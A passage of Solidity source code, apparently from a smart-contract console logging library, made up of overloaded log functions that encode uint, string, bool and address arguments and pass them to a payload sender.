function log(string memory p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1));
}
function log(bool p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1));
}
function log(bool p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1));
}
function log(bool p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1));
}
function log(bool p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1));
}
function log(address p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1));
}
function log(address p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1));
}
function log(address p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1));
}
function log(address p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1));
}
function log(uint p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2));
}
function log(uint p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2));
}
function log(uint p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2));
}
function log(uint p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2));
}
function log(uint p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2));
}
function log(uint p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2));
}
function log(uint p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2));
}
function log(uint p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2));
}
function log(uint p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2));
}
function log(uint p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2));
}
function log(uint p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2));
}
function log(uint p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2));
}
function log(uint p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2));
}
function log(uint p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2));
}
function log(uint p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2));
}
function log(uint p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2));
}
function log(string memory p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2));
}
function log(string memory p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2));
}
function log(string memory p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2));
}
function log(string memory p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2));
}
function log(string memory p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2));
}
function log(string memory p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2));
}
function log(string memory p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2));
}
function log(string memory p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2));
}
function log(string memory p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2));
}
function log(string memory p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2));
}
function log(string memory p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2));
}
function log(string memory p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2));
}
function log(string memory p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2));
}
function log(string memory p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2));
}
function log(string memory p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2));
}
function log(string memory p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2));
}
function log(bool p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2));
}
function log(bool p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2));
}
function log(bool p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2));
}
function log(bool p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2));
}
function log(bool p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2));
}
function log(bool p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2));
}
function log(bool p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2));
}
function log(bool p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2));
}
function log(bool p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2));
}
function log(bool p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2));
}
function log(bool p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2));
}
function log(bool p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2));
}
function log(bool p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2));
}
function log(bool p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2));
}
function log(bool p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2));
}
function log(bool p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2));
}
function log(address p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2));
}
function log(address p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2));
}
function log(address p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2));
}
function log(address p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2));
}
function log(address p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2));
}
function log(address p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2));
}
function log(address p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2));
}
function log(address p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2));
}
function log(address p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2));
}
function log(address p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2));
}
function log(address p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2));
}
function log(address p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2));
}
function log(address p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2));
}
function log(address p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2));
}
function log(address p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2));
}
function log(address p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2));
}
function log(uint p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3));
}
